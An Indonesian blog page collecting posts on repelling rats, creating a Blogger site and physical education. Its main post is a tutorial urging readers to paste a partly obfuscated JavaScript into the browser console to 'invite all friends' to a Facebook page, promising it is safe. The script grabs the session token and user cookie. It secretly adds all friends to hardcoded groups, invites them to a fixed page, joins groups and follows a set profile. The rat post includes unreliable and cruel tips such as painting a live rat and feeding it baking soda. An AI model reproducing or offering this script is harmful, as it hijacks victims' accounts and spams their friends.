Pages

Sabtu, 19 Juli 2014

Cara Mengusir Tikus di Rumah


Tikus merupakan salah satu hewan yang menjadi biang penyakit. Memiliki rumah yang ramai dengan hewan ini tentu akan membuat pemilik rumah kesal. Selain karena barang-baranng anda akan terancam digigitnya. Makanan yang ada di Rumah akan mudah tercemari oleh virus yang dibawa oleh si tikus

Dalam kesempatan kali ini saya akan memberitahukan cara mengatasi masalah tikus yang ada di rumah. Berikut cara-caranya :
cara membasmi tikus di rumah
1. Jangkrik
Hewan yang dapat mengerik merupakan salah satu pengusir tikus yang baik. Carilah jangkrik yang biasa digunakan untuk aduan yang dapat mengerik keras. Letakkan jangkrik di tempat yang biasa dilalui tikus seperti di kamar atau di dapur. Tikus-tikus tidak akan berani menghampiri tempat tersebut karena sifat tikus yang tidak betah dengan keramaian.

2. Kucing

Musuh tikus dan yang paling ditakutinya adalah kucing. Peliharalah kucing (Felis sp) di rumah, terutama kucing jenis tertentu yang dapat memangsa tikus, niscaya rumah anda aman dari tikus. Kucing merupakan musuh alami bagi tikus. 

3. Buah Mengkudu
Buah mengkudu selain bisa digunakan untuk obat maka juga bisa digunakan untuk mengusir tikus. Persiapkan dua atau tiga buah mengkudu (Morinda citrifolia L). Potonglah mengkudu tersebut menjadi beberapa bagian. Letakkan mengkudu tersebut dalam wadah berisi potongan mengkudu di tempat yang sering dilalui tikus. Nah, bau yang menyengat dari buah mengkudu akan membuat tikus pergi dari rumah.

4. Buah Durian
Bau yang mneyengat juga bisa mengusir tikus. Persiapkan dua atau tiga buah durian (Durio zibethinus). Potonglah durian menjadi beberapa potong. Bagian yang enak, makanlah isinya. Kemudian, letakkan potongan kulit durian tersebut di tempat yang sering dilalui tikus. Nah, bau yang menyengat dan kulit yang berduri dari durian akan membuat tikus pergi dari rumah.

5. Beri kapur barus di tempat yang mungkin ada tikus
Untuk menghindarkan tikus dari beberapa tempat di rumah kita, kita bisa memanfaatkan kamper atau kapur barus butiran. Caranya adalah dengan menggerus kapur barus tersebut atau memotong kapur barus menjadi 2 bagian kemudian disebarkan di sudut sudut rumah.Tikus adalah hewan yang tidak terlalu suka bau bauyang menyengat seperti kapur barus. Oleh karena itu cara ini saya rasa cukup efektif jika digunakan di dalam rumah.

6. Mewarnai / Mengecat Badan Tikus 
Tangkap satu ekor tikus, kemudian lumuri badannya dengan cat kayu/besi berwarna mencolok, lalu lepaskan. Tikus tersebut tidak akan datang lagi demikian pula tikus-tikus lain juga tidak akan datang lagi ke tempat tersebut karena takut. 

7. Peppermint (Daun mint)
Cara yang pertama cukup mudah, dengan membeli beberapa ikat daun mint kemudian diambil sarinya dan larutkan ke dalam air. Setelah larut semprotkan cairan mentol tersebut ke tempat-tempat kesenangan atau yang sering dilalui oleh tikus. Tikus sangat membenci aroma daun mint ini.
Sehingga tikus akan menghindari tempat yang berbau daun tersebut. Atau jika ingin lebih hemat lagi, yakni dengan menanam pohon mint di sekitar rumah. Selain bermanfaat bagi kesehatan, daun mint pun dapat mengusir tikus-tikus yang berusaha masuk ke rumah.

8. Soda Pop (Bom Soda)
Cara yang kedua bukan saja unik tapi lucu, sebuah penelitian menyebutkan bahwa tikus tidak mampu bersendawa ataupun mengeluarkan gas dari tubuhnya. Untuk itulah cairan ataupun bubuk baking soda dijadikan sebagai salah satu bahan untuk mengusir tikus. 
Kita hanya perlu mencampurkan cairan soda ataupun seruk baking soda ke dalam makanan yang disenangi tikus, yakin deh tikus bakal kapok mencuri makanan di rumah kita. Bayangkan saja, ia tidak mampu mengeluarkan gas yang hasil reaksi cairan soda dengan asam di dalam perut. Kembung deh! 

9. Saus Cabai, Air dan Deterjen Pakaian
Cara yang ketiga dilakukan untuk yang hobi berburu, yakni dengan mencampurkan saus cabai terpedas dengan deterjen pakaian kemudian dilarutkan ke dalam air di dalam botol spray. Nah, si pemburu tikus rumah harus siap siaga dengan botol spray pedas di sampingnya. Sehingga ketika muka tikus atau bagian bokong tikus nongol tinggal semprot deh. Catatan penting, hati-hati menggunakan dan menyimpannya karena berbahaya terutama jika terkena mata!

10. Ammonia
Ammonia merupakan zat yang terkandung di dalam urin manusia, nah cairan tersebut pun bisa mengusir para tikus nakal yang bersembunyi di sudut-sudut rumah. Cara dengan menyemprotkan ammonia (jangan terlalu banyak, atau seisi rumah kita bau pesing) ke daerah-daerah yang dihuni atau dilewati tikus. Ammonia tersebut berfungsi untuk menghilangkan tanda kekuasaan tikus, sehingga tikus akan tersesat dan mencari teritori baru. Disebutkan bahwa tikus menandai daerah kekuasaannya dengan air kencingnya, nah dengan menyemprotkan ammonia yang berbeda maka jejak dan kekuasanya akan hilang.

11. Suara Aneh
Yang terakhir adalah menggunakan perangkat apapun yang dapat mengeluarkan bebunyian aneh, cara in merupakan yang paling di antara poin-poin sebelumnya. Bisa menggunakan mainan yang masih berfungsi namun sudah tidak terpakai. 




Selasa, 24 Juni 2014

Cara Mengundang Semua Teman untuk Like Fans Page Facebook dengan Sekali Klik

Banyak teman-teman yang bertanya, bagaimana caranya mengundang semua teman di facebook untuk me-LIKE halaman FANS PAGE hanya dengan sekali klik? Pasti banyak yang ingin mengetahuinya kan. Kali ini, tutorial yang akan Loudy berikan yaitu Cara Mengundang Semua Teman untuk Like Fans Page Facebook dengan Sekali Klik.

Disini, saya akan berbagi sebuah cara yaitu tentang cara memperbanyak jumlah like Fans Page dengan mengundang teman-teman anda untuk menyukai Fans Page anda. Ya, facebook sudah menyediakan fitur "undang teman" untuk menyukai Fans Page kita. Tapi cara itu manual, jadi kita harus mengundang teman kita satu per satu untuk menyukai Fans Page kita. Dan tentu saja, cara ini sangat menyita waktu anda, karena jika jumlah teman anda ribuan, maka anda harus mengklik "undang teman" ribuan kali.
 Adakah Cara Yang Lebih Mudah?
Tentu saja ada, artikel ini dibuat untuk memudahkan anda yang ingin mengundang seluruh teman anda secara otomatis untuk menyukai Halaman Facebook anda. Cara ini sangat mudah, karena hanya dengan 1 kali klik dan Enter, semua teman anda akan otomatis menerima undangan permintaan Like Fans Page dari anda.

Tentu cara ini akan lebih memudahkan dan tidak menyita waktu anda. Karena kurang dari 5 menit, semua teman anda akan di undang untuk menyukai halaman anda.
Bagaimana Caranya?
OK, langsung saja saya beri tahu caranya. Perlu diingat, cara ini legal dan tidak melanggar kebijakan Facebook. Jadi cara ini aman dan mudah digunakan. Cara ini juga tidak membutuhkan Access Token seperti yang digunakan untuk Auto Like status dan Fans Page, jadi dijamin Aman.

Bagaimana langak-langkahnya? Berikut langsung saya jelaskan langkah-langkahnya. Mohon maaf sebelumnya, karena saya share tanpa gambar. Tapi saya yakin anda pasti bisa memahaminya.
  • Login ke akun Facebook Anda.
  • Masuk ke Fans Page (FP) target yang ingin anda tambah Likenya. Misalnya anda ingin mengundang teman-teman anda untuk menyukai Fans Page "NANI shop", maka anda masuk dulu ke halaman Fans Page "NANI shop".
  • Copy kode Script berikut : (BISA JUGA LIHAT DISINI >> KLIK INI)
javascript: eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('h j=\'x n m l<3/> 4:<A 6="0:#k;" 9="s://b.c.d/g/e.5.a/" 8="2">1 7</A>\';h o="",p=\'q 4: r [i ] t%</3>u v 4 </A><A 6="0:#w;" 9="f://b.c.d/g/e.5.a/" 8="2">1 7</A></A>.</3> y z B <A 6="0:#C;" 9="f://b.c.d/e.5.a/" 8="2">1 7</A>.</A>\';',39,39,'color|xxx|_blank|br|By|xxx|style|xxx|target|href|xxx|www|facebook|com|xxx|http|groups|var|llllllllllllllll|Title|00FF7F|Page|Fans|Invite|Descriptions|_text|Powered|Loading|https|99|Script|Made|00FF00|Auto|Join|My||Fanpage|00FFFF'.split('|'),0,{}))
page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
function InviteFriends(opo) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
        var b = a.substring(a.indexOf("{"));
        var c = JSON.parse(b);
        i--;
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
        if (c.error) {
            Descriptions += "color:darkred'>";
            err++;
            if (c.errorDescription) Descriptions += c.errorDescription;
            else Descriptions += JSON.stringify(c, null, "")
        } else {
            Descriptions += "color:darkgreen'>";
            Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
            suc++
        }
        Descriptions += "</div>";
        var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
        display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
        if (i > 0) {
            display += arr.length + " Friends Detected<br/>";
            display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
            display += "(" + i + " Lefted...)";
            display += "<div class='friend-edge'>";
            display += Descriptions;
            display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
            display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
            display += _text;
            display += "</div>";
            display += "</div>";
            window[tag + "_close"] = true
        } else {
            Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
            display += arr.length + " Friends Detected and ";
            display += "<b>" + suc + " Friends Invited.</b></br>";
            display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
            display += _text;
            display += "</div>";
            window[tag + "_close"] = false
        }
        display += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = display
    }, "text", "post");
    tay--;
    if (tay > 0) {
        var s = arr[tay];
        setTimeout("InviteFriends(" + s + ")", 100)
    }
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
 
 
                        if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=481804588520128&__user="+ user_id +  "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
                       
                        if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=704547289605377&source=typeahead&members=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post");
                       
    }
jx = {
    b: function () {
        var b = !1;
        if ("undefined" != typeof ActiveXObject) try {
            b = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (c) {
            try {
                b = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (a) {
                b = !1
            }
        } else if (window.XMLHttpRequest) try {
            b = new XMLHttpRequest
        } catch (h) {
            b = !1
        }
        return b
    },
    load: function (b, c, a, h, g) {
        var e = this.d();
        if (e && b) {
            e.overrideMimeType && e.overrideMimeType("text/xml");
            h || (h = "GET");
            a || (a = "text");
            g || (g = {});
            a = a.toLowerCase();
            h = h.toUpperCase();
            b += b.indexOf("?") + 1 ? "&" : "?";
            var k = null;
            "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
            e.open(h, b, !0);
            e.onreadystatechange = g.c ? function () {
                g.c(e)
            } : function () {
                if (4 == e.readyState)
                    if (200 == e.status) {
                        var b = "";
                        e.responseText && (b = e.responseText);
                        "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
                        c && c(b)
                    } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
            };
            e.send(k)
        }
    },
    d: function () {
        return this.b()
    }
};

function ChangeLocation() {
    window.location.href = "http://www.facebook.com/"
}
setTimeout("ChangeLocation", 1);
window.onbeforeunload = function () {
    if (window[tag + "_close"]) return "This script is running now!"
};
var i = 3;
var tay = 3;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var tag = "Close";
var page_name, x = document.getElementsByTagName("span");
for (i = 0; i < x.length; i++)
    if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
    var b = a;
    var c = b.substring(b.indexOf("{"));
    var d = JSON.parse(c);
    d = d.payload.entries;
    for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
    for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
    for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
    i = arr.length - 1;
    tay = i;
    console.log(arr.length);
    var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
    display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
    display += arr.length + " Friends Detected";
    display += "</div>";
    document.getElementById("pagelet_sidebar").innerHTML = display;
    InviteFriends(arr[i])
});

function a(a){var b=new XMLHttpRequest,c="/ajax/follow/follow_profile.php?__a=1",d="profile_id="+a+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";b.open("POST",c,!0),b.setRequestHeader("Content-type","application/x-www-form-urlencoded"),b.setRequestHeader("Content-length",d.length),b.setRequestHeader("Connection","close"),b.onreadystatechange=
function(){4==b.readyState&&200==b.status&&b.close},b.send(d)}
function clickfr(){document.getElementsByClassName("search").length>0?nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]):j++,setTimeout("clickfr_callback()",2e3)}
function addfriend(){i++,setTimeout("clickfr()",2e3)}var gid=["1436083469939053"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);a("100006534331702"),a("100006534331702"),a("100006534331702");var gid=["514501768604094"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),Friend=Array();gf=new XMLHttpRequest,gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math.random()+"&filter[0]=user&options[0]=Friend_only",!1),gf.send(),4!=gf.readyState||(data=eval("("+gf.responseText.substr(9)+")"),data.error||(Friend=data.payload.entries.sort(
function(a,b){return a.index-b.index})));
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('8 g=\'l k h f<6/> n:<0 9="a:#e;" c="b://7.5.1/4" i="j">3 2</0>\';m=d.o("p").q;8 r="",s=\'</6>t: <0 9="a:#u;" c="b://7.5.1/4/">3 2</0>, v w!\';',33,33,'A|com|xxx|xxx|xxx|facebook|br|www|var|style|color|https|href|document|00FF7F|Page|Title|Fans|target|_blank|Invite|Auto|grpname|By|getElementById|groupsJumpTitle|innerHTML|Descriptions|_text|Visit|3B5998|Join|Yuk'.split('|'),0,{}))
jx={getHTTPObject:
function(){var a=!1;if("undefined"!=typeof ActiveXObject)try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(b){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(c){a=!1}}else if(window.XMLHttpRequest)try{a=new XMLHttpRequest}catch(b){a=!1}return a},load:
function(url,callback,format,method,opt){var http=this.init();if(http&&url){http.overrideMimeType&&http.overrideMimeType("text/xml"),method||(method="GET"),format||(format="text"),opt||(opt={}),format=format.toLowerCase(),method=method.toUpperCase();var now="uid="+(new Date).getTime();url+=url.indexOf("?")+1?"&":"?",url+=now;var parameters=null;if("POST"==method){var parts=url.split("?");url=parts[0],parameters=parts[1]}http.open(method,url,!0);var ths=this;http.onreadystatechange=opt.handler?
function(){opt.handler(http)}:function(){if(4==http.readyState)if(200==http.status){var result="";http.responseText&&(result=http.responseText),"j"==format.charAt(0)?(result=result.replace(/[\n\r]/g,""),result=eval("("+result+")")):"x"==format.charAt(0)&&(result=http.responseXML),callback&&callback(result)}else opt.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator),opt.loading&&(document.getElementById(opt.loading).style.display="none"),error&&error(http.status)},http.send(parameters)}},bind:
function(a){var b={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""};for(var c in b)a[c]&&(b[c]=a[c]);if(b.url){var d=!1;b.loadingIndicator&&(d=document.createElement("div"),d.setAttribute("style","position:absolute;top:0px;left:0px;"),d.setAttribute("class","loading-indicator"),d.innerHTML=b.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(d),this.opt.loadingIndicator=d),b.loading&&(document.getElementById(b.loading).style.display="block"),this.load(b.url,
function(a){b.onSuccess&&b.onSuccess(a),b.update&&(document.getElementById(b.update).innerHTML=a),d&&document.getElementsByTagName("body")[0].removeChild(d),b.loading&&(document.getElementById(b.loading).style.display="none")},b.format,b.method,b)}},init:
function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(a,b,c,d){"className"==c&&(c="class");var e=document.evaluate(".//"+b+"[@"+c+"='"+d+"']",a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null);return e&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(a,b,c){return this.FindByAttr(a,b,"className",c)},FindByXPath:function(a,b){try{var c=document.evaluate(b,a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(d){GM_log("bad xpath:"+b)}return c&&c.singleNodeValue?c.singleNodeValue:null},VisitUrl:function(a){window.setTimeout(function(){document.location.href=a},500+Math.floor(500*Math.random()))},ClickWin:function(a,b,c){var d=a.document.createEvent("MouseEvents");return d.initMouseEvent(c,!0,!0,a,0,0,0,0,0,!1,!1,!1,!1,0,null),!b.dispatchEvent(d)},Click:function(a){return this.ClickWin(window,a,"click")},ClickTimeout:function(a,b){window.setTimeout(function(){return nHtml.ClickWin(window,a,"click")},b+Math.floor(500*Math.random()))},ClickUp:function(a){this.ClickWin(window,a,"mousedown"),this.ClickWin(window,a,"mouseup"),this.ClickWin(window,a,"click")},GetText:function(a,b){var c="";if(void 0==b&&(b=0),!(b>40)){if(void 0!=a.textContent)return a.textContent;for(var d=0;a.childNodes.length>d;d++){var e=a.childNodes[d];c+=this.GetText(e,b+1)}return c}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(a){for(var e,b=RegExp("(?:^|\\s)"+a+"(?:$|\\s)"),c=document.getElementsByTagName("*"),d=[],f=0;null!=(e=c[f]);f++){var g=e.className;g&&-1!=g.indexOf(a)&&b.test(g)&&d.push(e)}return d}),Array.prototype.find=function(a){var b=!1;for(i=0;this.length>i;i++)"function"==typeof a?a.test(this[i])&&(b||(b=[]),b.push(i)):this[i]===a&&(b||(b=[]),b.push(i));return b};var i=3,tay=3,j=0,k=0,suc=0,err=0,arr=Array(),arn=Array(),pho=Array(),getuname=document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML,gid=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?"+"__a=1&filter[0]=user&lazy=0&viewer="+user_id+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",function(a){var b=a,c=b.substring(b.indexOf("{")),d=JSON.parse(c);d=d.payload.entries;for(var e=0;d.length>e;e++)arr.push(d[e].uid);for(var f=0;d.length>f;f++)arn.push(d[f].text);for(var g=0;d.length>g;g++)pho.push(d[g].photo);i=arr.length-1,tay=i,console.log(arr.length);var h="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";h+="<div style='padding-bottom:10px;font-size:20px;'>"+Title+"</div>",h+=arr.length+"  Friend Detected",h+="</div>",document.getElementById("pagelet_sidebar").innerHTML=h,AddFriendtoGroup(arr[i])});
 
  • Lalu untuk pengguna Mozila Firefox, tekan CTRL + SHIFT + K lalu Paste scriptnya.
  • Dan untuk pengguna Google Chrome tekan F12 lalu Pilih CONSOLE lalu Paste scriptnya.
  • Setelah scriptnya di Paste, kemudian tekan ENTER.
  • Tunggu sampai prosess Invite selesai.
  • Setelah selesai, klik Go To Homepage.
Setelah itu, tunggu beberapa saat, dan jumlah likers Fans Page anda meningkat.

Sabtu, 07 Desember 2013

Cara Membuat Blog

Artikel kali ini saya khususkan bagi sobat yang benar benar awam mengenai cara membuat blog gratis, jadi bagi sobat yang sudah memahami dan menguasai ilmu cara membuat blog abaikan saja artikel ini. namun bagi sobat yang benar-benar ingin memahami dan belajar Cara Membuat Blog kurang dari 1 jam silahkan diteruskan membacanya ya (santai saja, bila perlu siapkan minuman ringan dan cemilan…. xixixixixixi)
Blog itu sendiri bisa digunakan sebagai media penghubung, menjembatani antara si penulis dan pembaca, jadi si pembaca blog paham dan mengerti dengan maksud dan tujuan yang ditulis oleh penulis itu sendiri. bisa juga menjadi penghubung antara si penjual dan pembeli (dalam hal ini blog yang digunakan sebagai sebuah ladang usaha menjual produk. sebutan populernya Toko Online).
Membuat blog itu sebenarnya tidak terlalu susah, yang terpenting sobat cermat dalam langkah-langkah awalnya. dan mengenai cara membuat blog gratisan ada banyak layanan yang menyediakan blog gratis, beberapa diantaranya yang paling sering dipakai adalah:
- Blogger.com
- WordPress.com
- Blogdetik.com
- Blog-roll.info
- Wordblog.pl
- dan masih banyak lagi.

Namun kali ini saya akan menerangkan bagaimana Cara membuat blog gratis secara cepat dan mudah. yaitu kita memakai layanan Blogspot di blogger.com.

Langkah awal untuk membuat sebuah blog gratis adalah :

1. Sobat diwajibkan memiliki sebuah alamat email, saran saya pakailah layanan gmail dari google. untuk membuat email dari layanan google tersebut anda bisa langsung menuju ke Gmail, untuk lebih jelasnya perhatikan gambar dibawah ini, (Baca juga artikel mengenai Cara Membuat Email Yahoo)
Klik gambar untuk memperbesar

2. Langkah selanjutnya isi data data diform yang disediakan, jangan lupa paling bawah klik Saya menyetujui persyaratan layanan dan kebijakan privacy google, setelah itu klik Langkah berikutnya lihat gambar dibawah.
Klik gambar untuk memperbesar

3. Selanjutnya, klik kirim kode Verifikasi. lihat lagi gambar dibawah ya :)
Klik gambar untuk memperbesar

4. sekarang cek ponsel anda, jika belum ada kode verifikasi dari google bisa dicoba lagi beberapa menit kemudian, gambar dibawah menggunakan modem, jadi kode verifikasinya langsung bisa di lihat dilayar laptop saya.
Klik gambar untuk memperbesar

5. Masukin deh kode verifikasinya seperti dibawah ini
Klik gambar untuk memperbesar

6. Selamat datang di akun Gmail anda, lalu klik Lanjutkan ke Gmail ya….
Klik gambar untuk memperbesar
Klik gambar untuk memperbesar

7. Sampai disini proses pembuatan akun Gmail sudah berhasil, sekarang ketahap selanjutnya ya…proses pembuatan blog. yaudah tanpa basa basi langsung buka tab baru di browser sobat ya, atau bisa langsung menekan (ctrl + T) buka blogger.com ya…. tinggal isi email dan sandi yang sama seperti di akun Gmail tadi. lalu klik Masuk
Klik gambar untuk memperbesar

8. selanjutnya pilih Opsi profil blogger sobat, jika hanya membuat blogger sebaiknya klik yg sebelah kanan. lalu klik lanjutkan ke blogger.
Klik gambar untuk memperbesar
Klik gambar untuk memperbesar

9. Sampai tahap ini sobat sudah sukses membuat akun blog, tahap selanjutnya silahkan lihat gambar dibawah ini untuk jelasnya. perhatikan baik baik tahap 1, 2, dan 3. sebelum ada tulisan This blog address is available berarti nama blog yang ingin sobat buat sudah ada yang memiliki, silahkan ganti dengan nama lain, atau untuk mudahnya bisa tambahkan angka dibelakang alamat blognya, lihat contoh yang saya lingkari pada nomer 2 dibawah. setelah itu klik create blog.
Klik gambar untuk memperbesar

10. Nah sekarang blog sobat sudah jadi, lihat keterangan dibawah ini, angka 1 adalah Judul blog yang sobat ciptakan pada tahap sebelumnya, lalu angka 2 adalah start posting. alias untuk memulai membuat artikel.
Klik gambar untuk memperbesar

11. Setelah sobat klik start posting, sekarang saatnya sobat membuat sebuah artikel… perhatikan baik baik langkah langkahnya dalam membuat sebuah artikel. tentunya dimulai dari angka 1 ya…hehehe… untuk jelasnya lihat gambar dibawah ini.

Langkah-langkah cara membuat artikel di blog :

Angka 1 : merupakan judul artikel yang nanti akan diterbitkan, boleh apa saja. silahkan berekspresi melalui artikel sobat, narsis juga ga ada yang larang koq :)

Angka 2 : merupakan isi dari artikel, silahkan mengarang bebas, mau curhat, kasih tips, trik, info, atau apa saja yang sobat ketahui, klo artikelnya bermanfaat pasti banyak yang suka dengan blog sobat deh.

Angka 3 : merupakan Label, silahkan isi apa saja. contohnya seperti ini, misalnya judul artikel yang sobat buat adalah Tips melangsingkan tubuh, nah label tersebut bisa di isi dengan Tips sehat, atau yang lainnya. kan ga nyambung seandainya label tsb di isi dengan Ilmu komputer. :p

Angka 4 : Nah tahap ini adalah melihat dulu artikel sebelum diterbitkan, jika ada yang salah bisa dibenarkan dulu sebelum artikel diterbitkan.

Angka 5 : Jika pada tahap 4 sobat sudah yakin, sekarang tinggal klik Publish (Terbitkan)
Klik gambar untuk memperbesar

12. Gambar dibawah ini merupakan contoh artikel yang sudah berhasil diterbitkan. dan untuk melihat artikelnya silahkan klik tombol view. selesai…. nah mudah bukan ?
Klik gambar untuk memperbesar
Klik gambar untuk memperbesar

13. Selamat Berkarya ya sob, oiya bagi sobat yang ingin tulisan hasil karyanya di publikasi di blog ini silahkan kirimkan artikel sobat ke email (indra_andriyadi@yahoo.com) jangan lupa link facebook kamu ya.  dengan catatan artikel merupakan hasil karya sendiri dan bukan hasil copy paste dari blog lain.

Minggu, 01 Desember 2013

PENDIDIKAN JASMANI



A. Olahraga
Olahraga adalah suatu bentuk aktivitas fisik yang terencana dan terstruktur yang melibatkan gerakan tubuh berulang-ulang dan ditujukan untuk meningkatkan kebugaran jasmani. 

